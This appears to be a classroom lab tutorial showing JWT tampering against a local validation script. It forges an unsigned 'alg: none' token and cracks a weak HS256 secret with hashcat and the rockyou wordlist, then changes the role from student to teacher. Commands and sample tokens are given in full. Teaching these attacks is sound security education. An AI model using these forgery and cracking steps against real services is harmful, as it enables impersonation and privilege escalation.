JWT Tampering Examples
Setup #
Start by downloading the example scripts from here
curl -o jwt_examples.zip https://astar.fyi/files/jwt_examples.zip
Unzip the files using:
unzip jwt_examples.zip
Enter the jwt_example directory:
cd jwt_example
No-Validation Signature #
The first example we’ll be looking at is JWT’s that don’t have an algorithm assigned for validation. This means anyone that can capture the token, can modify it, and use it and the end system will validate it.
Create the token using:
# Depending on your python installation, you'll either need to use python or python3 <file>
python ./make_jwt_no_alg.py
This produces a JWT with the following values (note that your exp and iat will be different):
{
"sub": "alice",
"role": "student",
"class": "CISC350",
"iat": 1758159062,
"exp": 1758162662
}
The token itself is encoded when created, and looks like this:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJzdHVkZW50IiwiY2xhc3MiOiJDSVNDMzUwIiwiaWF0IjoxNzU4MTYwNTYxLCJleHAiOjE3NTgxNjQxNjF9.
However, we can inspect the contents of the token using a site such as jwt.io. Simply paste the encoded string into the Encoded Value field on the page.
If we switch the page to the JWT Encoder tab, we’ll see that the sides switch, and we can modify the Payload data on the left. Let’s change the “role” to “teacher”.
The encoded string on the right has changed as a result.
If we provide this string to the jwt validation script we have, we’ll see that it does pass validation. This is because the JWT is properly formatted, but lacks the signature field to validate against to ensure it was unchanged.
python3 validate_jwt.py --allow-none --mode=auto --token "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ0ZWFjaGVyIiwiY2xhc3MiOiJDSVNDMzUwIiwiaWF0IjoxNzU4MTU5MDYyLCJleHAiOjE3NTgxNjI2NjJ9."
If a real production system had this vulnerability, an attacker would have the ability to tamper with their tokens potentially elevating their privileges or impersonating other users.
Weak Secrets #
This vulnerability deals with users choosing weak secrets for their validation algorithm to utilize.
To follow along with this example, you will need to install hashcat, a hash cracking tool.
sudo apt install hashcat
You will also need to download the rockyou wordlist. This is a wordlist of millions of known leaked passwords. The easiest way to get this file is to clone the seclists github repository. You will need git installed do this.
NOTE: This repository is quite large so it may take several minutes to download. If you don’t have a lot of space on your hard drive or your network is slow, you can instead manually download the file via the github website. It’s located here
sudo apt install git
git clone https://github.com/danielmiessler/SecLists.git
cd SecLists/Passwords/Leaked-Databases
tar -xf rockyou.txt.tar.gz # Note that the resulting file will be 150Mb
The setup for this example is now complete.
We can now generate our “secure” JWT by running the make_jwt.py script
python make_jwt.py
This will produce an encoded JWT. Let’s store this JWT in a file for future use:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJzdHVkZW50IiwiY2xhc3MiOiJDSVNDMzUwIiwiaWF0IjoxNzU4MTYzMzk1LCJleHAiOjE3NTgxNjY5OTV9.Ic8e4VGtkessNb2rrWt0AwsQjOWtGmo2JwnizsOaBvI" > jwt.txt
We can also inspect it again utilizing jwt.io
We’ll notice that it tells us it’s a valid JWT because it follows the proper format, but it has an invalid signature because we haven’t provided it the secret key used for validation. At this point, we do not know the key.
If we switch over to the JWT Encoder tab, and change a value in the Payload, perhaps changing “role” to “teacher” again, jwt.io will generate an encoded JWT for us. Note that we still have not provided a secret key.
If we try to validate this token now that it’s modified, we can see that it failed validation because the signature supplied with the JWT does not match this altered version.
python3 validate_jwt.py --mode hs256 --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ0ZWFjaGVyIiwiY2xhc3MiOiJDSVNDMzUwIiwiaWF0IjoxNzU4MTYyMzYyLCJleHAiOjE3NTgxNjU5NjJ9.i5zCsZMGXzFBeEk243slEbWr1RykzltJd4oHK1xyLIs"
So what could we do as the attacker trying to tamper with the JWT?
We can try to crack the secret key in order to calculate a new signature for it to pass validation. In this example, we’ll use hashcat to do this.
We’re then going to call hashcat and tell it use the module 16500. We’re then going to point it to the file containing our jwt from above, and we’re going to tell it to use rockyou.txt as our wordlist. NOTE that this may take quite a while depending on the processing power of your computer.
hashcat -m 16500 jwt.txt SecLists/Passwords/Leaked-Databases/rockyou.txt
We’ve now cracked the secret key to the JWT. If we jump back into jwt.io, we can paste our original jwt into the JWT Decoder field. On the right side of the screen, we’ll past the secret we just cracked, “brittni05”, into the SECRET field. We’ll then switch to the JWT Encoder tab, and make any changes we want to make.
We can then copy the altered JWT from the right side of the screen, and when we supply it to the validation script, we will see that it passes validation.
python3 validate_jwt.py --mode hs256 --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ0ZWFjaGVyIiwiY2xhc3MiOiJDSVNDMzUwIiwiaWF0IjoxNzU4MTYzMzk1LCJleHAiOjE3NTgxNjY5OTV9.JMO5k4GUfae4RSfptzUvzkQERJcrsNBvzrz-G9BIc9s"